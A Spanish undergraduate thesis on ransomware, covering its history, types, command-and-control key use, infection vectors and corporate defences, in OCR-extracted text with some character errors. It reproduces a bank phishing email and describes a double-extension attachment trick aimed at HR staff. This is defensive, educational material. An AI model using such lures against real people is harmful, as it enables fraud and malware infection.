Proyecto Trabajo Final de Graduacion
Ingenieria en Software
Proyecto de Investigacion Aplicada (P1A)

Seguridad Informatica: virus ransomware, el Secuestro virtual de
datos es Posible

Medina Carranza, Facundo Martin
SOF00346

Fecha: 06/12/17

Tutora: Ing. Adriana Pérez



Dedicatoria

A los que me apoyaron en este arduo camino, a mi esposa Giuliana y a mi hijo Renzo que
son mi inspiracion. A mis padres que me acompafaron y a mi tia Silvia que me tir6 una

soga en el tramo final. Solo resta decir: Gracias a todos los que me bendijeron.



Resumen

El presente Trabajo Final de Grado se enfoca en el estudio del malware! llamado
ransomware?. Para ello se utilizaron las siguientes herramientas de investigacion: entrevista,
observacion, busqueda de informacion bibliografica y documental, pruebas y andlisis del

ransomware.

El objetivo fue determinar como ransomware se infiltra en las empresas, estudiando las

técnicas utilizadas por los ciberdelicuentes.

La primera parte del trabajo se enfoca en explicar qué es el ransomware, su historia, las
diferentes versiones, sus caracteristicas generales, su propdsito y estadisticas de los ataques que

realiz a usuarios y empresas.

En la segunda parte se incluye una breve reflexion sobre algunas organizaciones que podrian

ser victimas del ransomware.

Por otro lado, en la tercera parte se profundiza sobre las medidas de seguridad que deberia
tener minimamente la empresa u organizacién para reducir los riesgos de infeccion de cualquier

malware.

Como medida para entender mejor el funcionamiento del ransomware, se estudiaron dos
versiones: Hidden Tear y Eda2. Estos fueron lanzados como codigo abierto por el experto de
seguridad Utkusen, para lo cual se procedio a un analisis del codigo y su funcionamiento por

medio de una maquina virtual.

1 Cédigo malicioso que intenta infiltrarse o dafiar una computadora.
2 Software que secuestra los archivos y pide un rescate por una suma de dinero.



Para finalizar, se realizaron entrevistas a diferentes organizaciones radicadas en la Ciudad de
Cordoba: Municipalidad de Cérdoba, Globant, La Lacteo, Tarjeta Naranja y Sanatorio Allende.
Estas entrevistas tienen como finalidad conocer la preparacion en cuanto a seguridad informatica

se refiere, y si ademas el ransomware las afecto.

Con la recopilacion de informacién y anélisis del ransomware, se realizé el trabajo final en el

cual se obtuvieron conclusiones que cumplen con el objetivo propuesto.

Con el avance exponencial que existe en la Informatica, se sugiere continuar investigando este
tema, ya que no solo el secuestro de datos esta en riesgo, sino también el de objetos tecnoldgicos

que tengan conexion a Internet.

Palabras clave: Ransomware, Seguridad, Datos, Empresa, Pérdida de informacién



Abstract

This work focusses on the study of the malware called “ransomware”. To carry on this study,
certain investigation tolls were used: interview, observation, bibliographic and documentary

information searching, tests and analysis on the ransomware.

The objective is to determine how ransomware infiltrates into the companies through the

study of the techniques used by cybercriminals.

The first part of this work is devoted to the explanation of what is the ransomware, its history,
the different versions, its general characteristics, its purpose and some statistics of the attacks

made to users and companies.

The second part includes a brief reflection about some organizations as potential victims of

ransomware.

The third part deals with security measures that companies or organizations should consider to

minimize infection risks by any kind of malware.

So as to better understand the ransomware’s functioning, two versions will be studied:
“Hidden Tear” and “Eda2”, both known as open codes by the security expert Utkusen. A code

analysis and a study of its functioning will be implemented by a virtual machine.

To conclude, several interviews were carried out to local organizations from the city of
Cordoba: Municipalidad de Cérdoba, Globant, La Lacteo, Tarjeta Naranja and Sanatorio
Allende. These interviews’ goals were to know about their informatic security measures and to

know if they have been affected by the ransomware.



Based on the information and analysis of the ransomware, the final work was achieved, by

which conclusions were obtained, meeting the proposed goal.

Because of the exponential information technology progress, it is suggested to continue
investigating the topic in depth, since not only the data is at risk of a hijack, but also the

technologic objects connected on the Internet.

Keywords: Ransomware, Security, Data, Organizations, Information loss.
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Seguridad Informatica: virus ransomware, el secuestro de datos es

posible

1. Introducciéon - Marco de referencia institucional

En el mundo globalizado de hoy, el crecimiento exponencial de Internet y de las redes de
comunicacion han contribuido a guardar la informacién ya no en papel, sino en archivos
digitales, por lo que usuarios de computadoras o celulares inteligentes, y empresas al estar
conectados en la Red de Redes pueden sufrir ataques a sus datos. De ahi surge la importancia de

la Seguridad Informatica para colocar un muro a estos ataques y proteger tales datos.

La Seguridad, como nos indican Buecker et al. en su libro IBM Security Solutions
Architecture for Network, Server, and Endpoint esta focalizada en la Confidencialidad, la
Integridad y la Disponibilidad. La Confidencialidad es proteger el acceso de los datos para que
solo puedan leerlas personas autorizadas, la Integridad es el cuidar que los datos los modifique
solo la gente autorizada, y la Disponibilidad es que los datos estén accesibles para la gente
autorizada en todo momento. Si se sostienen estos requisitos cumplimos con la Seguridad
Informaética, pero ¢qué pasa cuando un usuario con autorizacion para entrar a esos datos, recibe
un correo con un archivo malicioso y lo ejecuta?, toda la seguridad que implementamaos, todo el

presupuesto que gastamos para tener esa seguridad en un segundo se desvanecen (p 128).

Como plantea Fabian Portantier en Seguridad Informatica (2012, p. 29) no se puede llegar a
la perfeccion, pero con una mejora continua en la seguridad, al menos se debe intentar ser casi
infalible, por lo que el proceso nunca termina y siempre hay algo para mejorar. En esta direccién

el objetivo de este trabajo final es conocer en profundidad el virus ransomware, su historia,



funcionamiento y como evoluciono en tan corto tiempo, a tal punto de que es uno de los mas

usados por los ciberdelicuentes.

Esta investigacion se realizé en la Ciudad de Cérdoba, recolectando informacién bibliogréfica
de textos escritos e Internet sobre Seguridad Informatica, a la vez que se ejecutaron pruebas de
muestras de ransomware y se entrevistd a informantes clave de distintas empresas de la Ciudad

sobre esta problematica.
1.1 Antecedentes

En el siguiente apartado se opto por describir algunos trabajos llevados a cabo en diferentes
regiones geogréaficas que abordan, de distintas formas, la problematica de los sistemas de
deteccidn de virus y la seguridad en los sistemas informaticos. Dichos estudios se consideran

relevantes y significativos para el proyecto de aplicacion profesional que se desarrolla.

Cabe destacar que no se incluyen antecedentes de nuestro contexto, porque del rastreo
bibliografico realizado se puede afirmar que son escasos los estudios realizados, 0 al menos

publicados.

La investigacion titulada Cryptovirology®: Extortion-Based Security Threats and
Countermeasures (Adam Young, 1996) llevada a cabo por Adam Young y Moti Yung,
investigadores de seguridad informatica estadunidenses, revela como la criptografia en malas
podia ser un arma muy peligrosa. Definen al Cryptovirus como la utilizacién de la criptografia
aplicada en un virus de computadora. En la primera parte de la investigacion advierte como un
programa malicioso puede sobrevivir en el anfitrion, como una Computadora o Servidor, sin ser

detectado, para posteriormente realizar cambios en el sistema. En la segunda parte, se dan

3 Cryptovirology: Virus criptografico, en donde se utiliza la criptografia en un virus informatico.



ejemplos de ataques criptogréaficos, en los que el autor del virus posee la clave privada y se
demuestra gque de esa forma pueden encriptar los archivos para extorsionar a las personas. Esta
fue una de las primeras investigaciones sobre este fendmeno informatico, cuando adn no existia

el nombre ransomware.

Otra de las investigaciones que se realizo sobre ransomware fue presentada en una revista de
investigacion del Instituto Tecnoldgico de Mérida, México titulada Origen y Evolucion del
Cryptovirus Ransomware (Martinez-Garcia & Moo Medina, 2016). En este caso, se explica el
origen del ransomware y su evolucion en el tiempo, coémo funciona y el crecimiento de ataques
de este tipo en el ultimo tiempo. Enfatizan sobre la problemaética que puede traer a las empresas e
instituciones que no tomen medidas para proteger sus datos, ya que luego de perdidos asumen la
verdadera dimension del dafio producido. También advierten que los usuarios deben ser

educados sobre este tema para minimizar los riesgos de ser infectados.

Exponen al ransomware como un servicio que ofrecen los ciberdelicuentes, para que cualquier
usuario sin necesidad de que tengan conocimientos de programacion, pueda infectar a otros
sistemas pidiendo un rescate por los archivos secuestrados. Con este mecanismo ganan tanto el

afiliado del servicio como el creador de éste.

Una investigacion también muy interesante se presenta en una revista de la India de Ciencia 'y
Tecnologia titulada Ransomware Digital Extortion: A Rising New Age Threat (Akashdeep
Bhardwaj, 2016), en la que se presenta al ransomware explicando qué es y cdmo se propaga,
pero ademas recopila soluciones para contrarrestar el malware. Proponen un ambiente de
deteccidn de malware en la nube con tres diferentes ambientes de analisis, con lo que, segln la

investigacion, se consigue detectar mas rapido el malware. EI malware cuando es detectado ya



no puede ingresar a otros huéspedes que tengan esta solucién instalada, ya que por medio de la
utilizacion de la nube como medio de comunicacion y recopilacion de informacion se evita su

propagacion.

Ransomware (del inglés ransom: rescate y ware: equipo) es un malware conocido desde 2011
que secuestra el equipo informéatico por medio de artilugios como blogueo de pantalla o
encriptamiento de archivos por medio de la criptografia. Uno de los primeros métodos que
utilizé este codigo malicioso es mostrar en la pantalla del equipo infectado un mensaje engafioso,
en el que argumenta que es la policia del pais donde se encuentra el equipo, y alega que el
usuario habia ingresado en paginas de pornografia infantil o alguna otra pagina con contenido
vergonzoso para la persona. El usuario no puede eliminar el mensaje, ya que la computadora esta
bloqueada y le advierten que, si no paga una suma de dinero en 24 horas, le borran el disco duro.
Por eso, las primeras variantes informadas de este virus llamado en ese entonces “El virus de la
policia” (Brulez, 2011) datan de marzo de 2011 segun reportes de Kasperky Labs provenientes

de la Policia alemana.

Posteriormente en el afio 2012, fueron surgiendo variantes como Locked y SGAE con nuevas

caracteristicas como encriptacion de los archivos.

En el afio 2014, aparecieron nuevos ransomware como CryptoDefense, CryptoLocker y
Cryptowall, este Gltimo es el méas potente de los tres que, en su version Cryptowall 3.0 segun El
Confidencial en su articulo Como el Ransomware se esta convirtiendo en la mayor amenaza de
Internet, consigui6 alrededor de 325 millones de ddlares en rescate y estiman que la versién 4.0

conseguird mucho mas (Ferrer, 2015).



Finalmente, resulta significativo destacar que el afio 2016 ha sido definido por la mayoria de
los expertos en seguridad como el “Afio del ransomware” trayendo muchas dificultades y

conflictos a usuarios y empresas, y a su vez muchos beneficios a los atacantes.

1.2 Descripcion del area problemética

El ransomware afecta a cualquier computadora, servidor o celular inteligente en el mundo.
Esto ocurre tan solo con ejecutar algin archivo que puede ser enviado por protocolo IRC
(Internet Relay Chat), correo electrénico, redes peer to peer (red entre pares), grupos de noticias,

entre otros.

Esta problematica viene aumentando cada afio segin Kaspersky Lab, uno de los proveedores
mas importantes en el mundo de proteccion TI. Entre 2014 y 2015 hubo 131,111 ataques de
ransomware, en cambio entre 2015 y 2016 hubo 718,536 ataques (SecureL.ist, 2016) por lo que
se quintuplicaron los nimeros de ataques, infectando tanto a computadoras personales como a las
de empresas de todo tipo. El circuito planteado se completa exigiendo dinero para recuperar los
datos encriptados, en donde muchas veces a pesar de pagar el rescate no recuperan los datos,
ocasionando el posterior formateo de la computadora y perdiendo toda la informacién de la

misma.

1.3 Formulacion de la problematica

¢ Cuales son los factores por los que el ransomware penetra en la seguridad de las empresas?

1.4 Justificacién

Este trabajo final de grado se realiza con el objeto de estudiar al ransomware para aportar

conocimiento sobre este malware que actualmente esta en expansion, y dirigiendo cada vez mas



sus ataques a empresas Yy areas gubernamentales, las que podrian sufrir cifrado de sus archivos, y

la posterior pérdida de datos.

Las empresas recopilan los datos necesarios para funcionar. Estos deben estar protegidos de
toda amenaza interna o externa, manteniéndolos confidenciales, integros y disponibles (Buecker,
A. etal., 2012). Dentro de la informacion almacenada por las empresas puede haber datos
personales (de clientes, empleados), que en Argentina estan protegidos por la ley N°25.236
llamada “Proteccion de los datos personales™, y en su articulo 9° expresa que cualquier persona
que tenga algun archivo de datos personales debe asegurar que no sea adulterado o perdido, por
lo tanto las empresas no pueden permitir que los archivos que contengan datos personales sean

encriptados por un ransomware (Nacion, 2000).

Las empresas deben informarse y asignar recursos para implementar las medidas de seguridad
necesarias, pero como dice Portantier (2012, p. 17) no existe una organizacién donde su objetivo

principal sea la seguridad informatica.

Este trabajo pretende dar a conocer el funcionamiento del ransomware, como se infiltra en las

organizaciones y qué medidas de seguridad informatica se deben tener en cuenta.

Investigarlo exhaustivamente servira para identificar posibles patrones de comportamiento, y
de este modo poder ayudar a su deteccién temprana. Es mucho mas fécil y eficaz prevenir que

reparar los dafios ocasionados.
1.5 Objetivo general

Analizar los efectos del virus ransomware en las empresas realizando recopilacion

bibliogréfica de su surgimiento, métodos utilizados y evolucion del malware en el tiempo.



Ademas, obtener opiniones y experiencias entrevistando a informantes clave y concluir con

pruebas de codigo de forma estatica y dindmica para conocer y evaluar su comportamiento.
1.6 Objetivos especificos

Describir las manifestaciones del virus ransomware en organizaciones de la Ciudad de

Cordoba.
Identificar las distintas versiones y funcionamiento del ransomware.
Enumerar las distintas soluciones para recuperar los archivos infectados.

Evaluar el impacto de como ransomware afecta a empresas y organizaciones.

2. Marco teorico

2.1 Presentacion

La presente investigacion se centrara en el anlisis del virus ransomware y sus efectos
socioecondmicos. Al concepto de malware Buecker, A. et al. lo define como un programa o
macro malicioso que puede ser ejecutado en la mayoria de las computadoras (2012, p. 129). El
ransomware por lo tanto es un programa malicioso que infecta a los archivos, principalmente a

los documentos de procesadores de texto u hojas de célculo.

Las empresas han cambiado drasticamente la forma en que almacenan la informacién pasando
del guardar copias en papel a los archivos de computadora, por lo que para asegurar que no se
pierdan, deben destinar tanto recursos materiales como personal y tiempo. En esta direccién

Fabian Martinez Portantier, un experto en seguridad informatica, nos dice “no es tan importante



la cantidad de recursos que invertimos, sino que debemos considerar la inteligencia con la cual

implementamos dichas medidas” (2012, p. 17).

Cabe destacar que cuando un usuario corporativo abre un archivo ejecutable con este virus
puede infectar a toda una empresa y a mas de 400.000 archivos, como el caso de la Institucion
Ferial de Madrid (IFEMA) y que fue informado por medios como el diario El Pais (Barroso,
2015). A pesar de que las empresas habian advertido de estos mails enviados “supuestamente”
por CORREQOS (Empresa de Correo Espafiola), bastd con que un solo usuario desinformado

ejecute el archivo, infectando a la mayor parte de la empresa.

Resulta interesante interrogarse sobre: ¢Por qué los antivirus no pueden detener el ataque?
Evan Davidson, Vicepresidente de Ventas, EMEA, en Cylance, una empresa estadounidense de
Ciberseguridad, nos explica que los antivirus ya no resultan suficientes, con tantas mutaciones de
virus, y se requiere estar por demas infectado para protegerte (Pizarro, 2016). Esto lo explica de
este modo porque los antivirus buscan patrones similares para detectar los programas maliciosos,
pero cuando mutan muchas veces no se los puede detectar, y se ejecutan en la computadora

causando grandes inconvenientes.

Entonces, para que las empresas no estén tan vulnerables, una de las primeras medidas es la
capacitacion del personal para que verifiquen antes los archivos recibidos, de este modo,
transformarlos como si fueras un investigador que tienes que verificar la fuente. En esta
direccion, como explica Portantier (Seguridad Informatica por Fabian Portantier, 2012, pag. 21),
la NSA(Agencia de Seguridad Nacional de Estados Unidos) existe una estrategia de enfoque por
capas, en que la capa externa es la capacitacion del personal, la capa media son las politicas y

procedimientos de seguridad, y la capa interna es la seguridad fisica. En lo cual si una capa falla



existe otra para detectar la amenaza, y si todas las capas fallan se debe tener un respaldo para

recuperarse de dichos ataques.

El problema radica cuando no se tiene un respaldo de los datos, y las empresas poseen datos
tan importantes como para estar obligadas a pagar el rescate que se les solicita, a pesar de que
advierten que por esto el negocio para los hackers es tan lucrativo, aunque muchas otras no
tienen el dinero para costearlo. Tal es asi que un experto en seguridad informatica, Yago Jesus,
autor de Anti-Ransom, coment6 “Hice esta herramienta cuando vi la desesperacion que genera
ese tipo de amenaza. Encontrarte a toda una mujer de 4x afios, llorando y diciendo que, 0
recuperaba sus datos, o cerraba una empresa con varios empleados, me impacté bastante”

(Ferrer, 2015, https://goo.gl/Byg5vi).

Encontrar a estos denominados ciberdelicuentes no es una tarea fécil, sobre todo cuando
dejaron de utilizar transferencias bancarias, como si lo hizo el grupo de hackers ucranianos que
fue atrapado por la policia de Espafia en 2013 (Policia Nacional, 2013, https://goo.gl/FGR5ETf)
gracias a que rastrearon las transferencias bancarias que realizaron las victimas. Esto fue
rapidamente aprendido por los hackers, y en cambio, ahora la moneda que solicitan se llama
bitcoin, que es una moneda virtual que tiene un valor aproximado de USD 917 cada uno. Operan
con diversas herramientas como el mezclador de direcciones que, como explican en Bitcoin.org,
cuando se envian los bitcoins anonimamente a un destinatario, el mezclador lo desvia hacia una
billetera compartida, para luego enviar al destinatario otras monedas diferentes que contenia la
billetera, asi cortar cualquier relacion entre el emisor y destinatario (Majamalu, 2012). A la vez
que utilizan la red TOR, una red que permite no revelar la identidad de los usuarios, es decir, su
IP, ya que los mensajes estan protegidos por diferentes capas de encriptacidn. Este mensaje
encriptado viaja por una red de nodos, en la cual en cada comunicacion cambia el camino, por lo
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que hace mucho méas complicado el rastreo de los atacantes. Resulta contradictorio e ironico
saber que, por un malware, alguien puede ser infectado para pedirle dinero, y por otro, detectar
esa situacion. Un ejemplo de lo planteado es el malware que utiliz6 el experto en Ciberseguridad
Matt Edman (O'Neill, 2016) para encontrar la IP de los usuarios de la red TOR, y dejar al
descubierto a los ciberdelicuentes. Esto demuestra que siempre se encuentran nuevas formas de

reproducir este circuito entre el ataque y su deteccion.

Como se observa, este malware puede provocar mucho dafio al punto de hacer quebrar una
empresa, por lo que, en el mundo de la Seguridad Informatica, toma cada vez més trascendencia
buscar formas para detectarlo. Al punto que la empresa Cylance por medio del Director de ventas
Lloyd Webb dice “mientras que 2015 fue el afio de las mega intrusiones, como Sony y Ashley
Madison, 2016 es el afio del ransomware, que se esta convirtiendo en una actividad altamente

lucrativa para los cibercriminales” (Pizarro, 2016, https://goo.gl/ApFdNm).

Cabe destacar que varios expertos en el campo de la informatica plantean que cuestiones mas
complejas y negativas podrian estar por llegar, ya que como afirma Florian Manuel Pérez
Sanchez “el dia que opten por cifrar documentos de CAD/CAM o codigo fuentes de aplicaciones
o codigo ya compilado y en ejecucion, los efectos pueden ser catastroficos” (Florian Manuel

Pérez Sanchez, 2015, https://goo.gl/dbUWQgA).

2.2 Desarrollo del marco tedrico

A partir de las decisiones tedricas metodoldgicas planteadas en los apartados siguientes y con
la intencionalidad de profundizar la informacion, es que a continuacion se desarrollaran nociones

centrales alrededor del tema objeto de este trabajo final.

El recorrido incluye tres ejes tematicos:
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El primer eje esta relacionado con ransomware, sus caracteristicos modos de funcionamiento,
tipos, posibles vias de contagio, la historia de surgimiento, y las estadisticas de ataque del

ransomware.

Luego, como segundo eje de contenido, se incluye una breve reflexion sobre algunas
organizaciones que podrian ser victimas del ransomware, en particular las vinculadas al servicio

de Salud por la relevancia que cumplen en la sociedad.

Finalmente, como tercer eje, se plantean cuestiones alrededor de los sistemas de seguridad, y

también de prevencion en relacion al malware.
3. Metodologia

La metodologia hace referencia al conjunto de métodos, tareas, habilidades, conocimientos y
tareas, utilizados para lograr los objetivos planteados. En este apartado se mencionaran todas las

herramientas metodolégicas que se utilizaran en esta investigacion.
3.1 Paradigma metodoldgico

En el presente trabajo se desarrolla una indagacion de corte descriptiva que utiliza una
metodologia combinada. Por un lado, se recupera bibliografia (especialmente publicaciones
respecto al problema definido) donde también se recuperan algunos datos estadisticos, por el
otro, se disefian y suministran entrevistas a informantes clave al fin de recuperar sentidos y
significados, que no tienen una pretension de muestra estadistica sino mas bien la posibilidad de
recuperar las voces de protagonistas desde su propio lugar de trabajo. Ademas, desde el punto de
vista técnico se incluyen pruebas de ejecucion y su analisis a la manera de una experimentacion y

observacion de los resultados obtenidos.
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3.2 Caracter y disefio de la investigacion

La investigacion utilizara la l6gica inductiva de forma de experimentacion y observacion del

comportamiento del ransomware sobre todo en las empresas y usuarios, buscando patrones

similares de los distintos tipos, y asi poder hacer una descripcion del virus y como afecta a las

distintas organizaciones.

3.3 Fuentes de informacién

La fuente primaria sera la lectura de registros escritos como libros, revista cientificas, o

fuentes confiables, ademas de empresas de seguridad que contienen estadisticas de ataques de

ransomware, ya gque no se cuenta con una organizacion gue nuclee las estadisticas de ataques de

malware. La secundaria sera entrevistas a personal de seguridad informatica de empresas y/o

organizaciones de la Ciudad de Cordoba, también se utilizara la observacion y prueba controlada

del virus como funciona y su estructura interna.

Ficha técnica

Tipo de investigacion

Descriptiva

Metodologia

Cualitativa

Técnicas de investigacion

Entrevista, Observacion

Instrumento

Cuestionario de Entrevistas, Fichas
de Observacién

Poblacion/ Corpus de analisis

Varones y Mujeres que trabajen en
la parte de seguridad de empresas

Muestra/ Recorte del corpus

5 empleados de seguridad de
empresas erradicadas en Cérdoba

Criterio muestral

No Probabilistico.
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4. Qué es un ransomware

El ransomware es un tipo de malware o programa infeccioso que al ejecutarse se infiltra en el

sistema, y empaqueta los archivos para encriptarlos, luego elimina los archivos originales,

haciendo imposible acceder a ellos, a menos que se pague un rescate (Buecker, A. et al., 2011).

Ahora bien, el interrogante es acerca de como funciona, y para aproximar algunas respuestas

recuperamos lo que describe la revista cientifica Indian Jornal of Science and Technology,

respecto a que existen dos grandes tipos de ransomware: los bloqueadores y los cifradores

(Akashdeep Bhardwaj, 2016).

Uno de ellos es el denominado Lock screen (bloquea pantalla): Su funcion es bloquear la
pantalla sin poder realizar ninguna accién, el Lock screen al infectar la maquina presenta en la

pantalla del monitor un mensaje intimidatorio de la policia local, interpol o FBI (como en la

Figura 1) dependiendo de la ubicacion de la computadora.
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Figura 1. Mensaje engafioso de ransomware. (Security, 2013).
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Exige un pago para desbloquearla, y advierte que si la computadora es desconectada no podra
volver a arrancar. Lo positivo de este tipo de ataque es que el ransomware no encripta los
archivos, y se puede recuperar la informacion del disco duro, aunque se debe formatear e instalar
el sistema operativo nuevamente. Por lo cual, el impacto de este tipo de version es bajo, a menos

que el usuario (por desconocimiento y miedo) haga el pago solicitado.

Respecto al clasificado como Cifrador: Su funcionamiento es parecido al “bloqueador”.
Segun lo que dice Emiliano Piscitelli en Ransomware: Qué es y como funciona el secuestro
digital (2015), generalmente lo primero que realiza es instalarse en alguna carpeta (como Mis
Documentos) con un nombre aleatorio, para luego crear en el registro de Windows una entrada
por si el equipo se apaga, y asi cuando vuelve a encender se active nuevamente el ransomware.
Al activarse, intenta comunicarse con los servidores de Comando y Control (C&C) que como
explica Command Five (Command and Control in the Fifth Domain, 2012), organizacion de
servicios y tecnologias de la informacion, son servidores que utilizan los hackers para controlar
los malware, en general estos servidores son botnets*, por lo que dificulta el rastreo del atacante
y asi puede mantener su anonimato. La mayoria de los ransomware al conectarse con el servidor
C&C, solicitan las claves de cifrado, una “Publica” y otra “Privada”, en el que utiliza algiin
algoritmo de cifrado como el RSA de 2048 bits (Emiliano Piscitelli, 2015). Con la clave publica
empaqueta los archivos importantes encriptandolos, borrando luego los archivos originales.
Ademas, si la computadora se encuentra en una red local con unidades mapeadas (carpetas
guardadas en otro equipo que son copiadas para un acceso mas rapido) u otros dispositivos
externos (disco duro externo, usb) hasta los archivos de la nube (Dropbox, Google Drive) pueden

sufrir también la encriptacion de los datos, por lo que no se recomienda guardar las copias de

4 Robots informaticos que se ejecutan de manera auténoma y automatica en maquinas infectadas en forma remota.
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respaldo en dichas unidades. Si el cifrado tuvo éxito, la Unica forma de recupero de los archivos
es obteniendo la clave privada que se encuentra en el servidor C&C. Al finalizar el trabajo el
ransomware crea unos archivos en diferentes formatos (.pdf, .txt, .doc) con un mensaje pidiendo

un pago para recuperar los archivos.

4.1 ¢Cuales son las vias de contagio?

El Centro Criptoldgico Nacional de Espafia explica que existen muchas vias de contagio, una
de las mas comunes es por medio del correo electronico, en donde utilizan técnicas de ingenieria

social como se ve en la figura 2.

Urgente Activacion De Coordenadas En Su Cuenta Recibides |x

de  Santander Santiago <vox_600_cl@santander sbif com:
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1 33
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Siempre se muestran las imagenes de este remitente. Mo volver a mostrar a partir de ahora

&» Santander Banco en Linea |
Estimado(a) Cliente -

Le informamos que hoy, 04 de Octubre de 2010, Usted no a realizado el proceso de
sincronizacion de Cordenadas (Super Clave). El cual es completamente obligatorio para todos
los clientes del banco Santander por lo que le pedimos realizar dicha accion inmediatamente
[y evitar que su Cuenta Usuario y Tarjeta de Codigos causen baja temporalmente, como
medida de seguridad puede causar baja permanente. Grupo Santander Santiago le ofrece una
disculpa por dicho inconveniente vy le ruega que atienda este comunicado.

Su tarjeta de Coordenadas (Super Clave) debe ser sincronizada y activada de

acuerdo a su usuario de acceso y codigo de serie.
Acceda para realizar la sincronizacion: a
http-//santander_clf ﬂ A
_—?.
e

{Atentamente,
Banco Santander

a través de www.santander.cl

Figura 2. Email engafioso usando ingenieria social. (Windows 7k, 2010).

Intentan engafiar al usuario para que descargue un archivo adjunto, 0 como en este caso
utilizando el phising o suplantacion de identidad, en donde el pescador (phiser) se hace pasar por
alguna compafiia conocida utilizando logotipos y un mensaje bastante creible para que la victima

ingrese a una URL. Esa URL lo redirige a un sitio web fraudulento, muy parecido al verdadero,
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para robar informacion como el usuario o contrasefia (Centro Criptoldgico Nacional, 2016).
Segun lo que detalla Emiliano Piscitelli, experto de seguridad, uno de los més eficaces ataques
para infectar de ransomware a las empresas es enviar un correo con un asunto como curriculum o
busqueda de trabajo (que puede ser enviado por ejemplo a un departamento de recursos humanos
de una empresa), que contiene un archivo adjunto con doble extensién como
“curriculum.pdf.exe” para que luzca como un documento pdf. Lo anterior sucede porque
Windows tiene pre activado el ocultamiento de la extension, y entonces el usuario veria al
archivo como “curriculum.pdf”, pero en realidad es un ejecutable que al activarlo comienza a
correr el malware por la computadora (Emiliano Piscitelli, 2015), infectandola para que luego
aparezca un mensaje que informa que los datos personales han sido encriptados, como muestra la

figura 3.
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Figura 3. Mensaje de CryptoLocker pidiendo el pago para rescatar los archivos del
disnositivo (Piscitelli. 2015).
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Otro medio de contagio, utilizado por los ciberdelicuentes, son los web exploit kits, que,
como también detalla el CCN-CERT, son herramientas que buscan vulnerabilidades en el
sistema, sobre todo en los navegadores y programas que utilizan Adobe Reader, Java o0 Adobe
Flash Player, que al lograr atacar y tomar el control de la computadora pueden instalar por

ejemplo un ransomware (Centro Criptoldgico Nacional, 2016).

También existen formas de contagio en la que el culpable no es el empleado de la empresa,
sino como nos indica el reporte de F-Secure (State of Cyber Security, 2017, pag. 22) las
empresas al estar constantemente compitiendo e intentando innovar, buscan maneras mas rapidas
de llegar a los objetivos, por lo que muchas veces contratan servicios de consultores externos
para implementar mejoras, los cuales tienen acceso total al sistema y pueden ocasionar una
vulnerabilidad. Un ejemplo de lo anterior es si se infecta la computadora del consultor que esta
conectado a la red de la empresa, el ransomware se puede expandir a través de ella. Otra
amenaza que puede ocasionar el uso de empresas tercerizadas es cuando se implementan
sistemas o aplicaciones con backdoor® como nos dicen Chris Wysopal y Chris Eng (Static
Detection of Application Backdoors, 2007) en su articulo en que se refiere al backdoor, y lo

clasifica en 3 categorias:

1. System backdoors: en los que el atacante crea el sistema de backdoor cuando consigue
entrar al sistema por medio de una vulnerabilidad o ingenieria social, con esto logra
que, a pesar de que la misma es reparada, pueda ingresar de todos modos al sistema.

2. Aplication backdoors: es una version legitima del programa, pero que ha sido

modificado para no tener que pasar por los mecanismos de seguridad, y asi el operador

® Significa “puerta trasera”.
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del sistema pueda ingresar mas rapido, aunque pueda comprometer al sistema ya que
cualquier hacker lograra descubrirlo y utilizarlo.

3. Crypto backdoors: a un sistema de encriptacion como RSA, se le coloca una
vulnerabilidad para que, al vender el programa con el sistema de encriptacion, el
creador de ese programa pueda leer los mensajes encriptados a pesar de no tener la

clave secreta.

5. Historia del ransomware

Luego de aproximarnos a la nocion de ransomware, sus caracteristicas y a las posibles vias de
contagio, resulta importante contextualizar y plantear una breve historizacion sobre su

surgimiento y desarrollo.

El ransomware se hace conocido por la sociedad en 2011, con la aparicion del famoso “Virus
de la Policia”, pero no es el primero en aparecer, ya que en 1989 segin Gazet (2010) hubo un
envio masivo de discos flexibles de 3 %2 por correo postal, que contenian “supuestamente”
informacidn que podria ayudar a encontrar una cura contra una enfermedad. Al utilizar esta
ingenieria social, el atacante conseguia infectar la computadora y luego de 90 reinicios, el virus
cifraba los archivos y aplicaciones dejandolos inutilizables. Solo se visualizaba en la pantalla el
archivo de licencia que solicitaba el pago para rescatar los archivos y aplicaciones por medio de
un cheque a nombre de “Pc Cyborg Corporation”, aunque todavia no existia la palabra
“ransomware”, este malware llamado “AIDS info disk” o “PC Cyborg Trojan” fue el primer

antecedente.

A principios de la década del 90 aparecid otro malware que realizaba acciones parecidas a los

ransomware actuales, éste se Ilamaba Virus del Casino que como explica la empresa ESET
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(2015) si la computadora estaba infectada, en una determinada fecha el virus se activaba y
copiaba la tabla de asignacion de archivos® en la memoria RAM’ para luego borrar la tabla de
asignacion, y luego invitaba a jugar a una maquina de tragamonedas en la pantalla en la que daba
5 oportunidades vy, si el usuario no ganaba, borraba la tabla FAT de la memoria RAM haciendo

perder todos los archivos y obligando a reinstalar el sistema operativo.

Otro llamado One Half (ESET, 2014) surgié en 1994 en donde cifraba la primera parte de los

sectores del disco rigido logrando que no pudiera arrancar la maquina.

Los piratas informaticos de los 90 como cuenta Merce Molist Ferrer (Hackstory, 2012, pag.
40), buscaban como conectarse a la red de redes utilizando sobretodo ingenieria social para luego
entrar a cualquier universidad o empresa, e investigar los sistemas operativos para conseguir
nuevos conocimientos, pero nunca con una intencionalidad o mentalidad delictiva. Un ejemplo
de que los “Hackers” de esa época solo buscaban conocimiento y prestigio al crear estos virus es
que lo consideraban como un arte, como si pintaran un Picasso o un Rembrandt les ponian sus
propias firmas a los virus y los publicaban en la web (Ferrer, Hackstory, 2012, pag. 83), en forma
de revista donde publicaban articulos con codigos de virus. Por lo expresado, muchas veces les
costaba que los atraparan por publicar virus que utilizaban personas que solo les interesaba hacer

dafo.

Con el cambio de siglo hubo grandes avances en la tecnologia y en la informatizacion en un
mundo cada vez mas globalizado, esto hizo que paulatinamente el Estado, los bancos y las

empresas hayan “volcado sus procesos de negocio netamente a los sistemas de informacion”

¢ Indice donde sefiala que en que parte del disco duro comienza y termina un archivo creado por Windows para MS-
DOS (https://es.wikipedia.org/wiki/Tabla_de_asignaci%C3%B3n_de_archivos).

7 Memoria volatil que guarda informacién para poder acceder mas rapido, cuando se apaga el ordenador al ser
volatil se borra todo lo que tenia guardado.
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(Portantier, 2012, pag. 26). Este fendmeno trajo cambios, como explica Portantier, antes se
guardaba la informacion en formato papel para luego leerlo, copiarlo o destruirlo, y ahora la
informacidn son bits (0 y 1) guardados en distintos tipos de almacenamiento como memorias

USB, discos duros, etc. que generalmente estan conectados a la red de redes.

En una época donde cualquier persona puede ingresar a internet y conseguir informacion,
como los “Hackers”, esto también es aprovechado por los ciberdelicuentes que utilizan cualquier
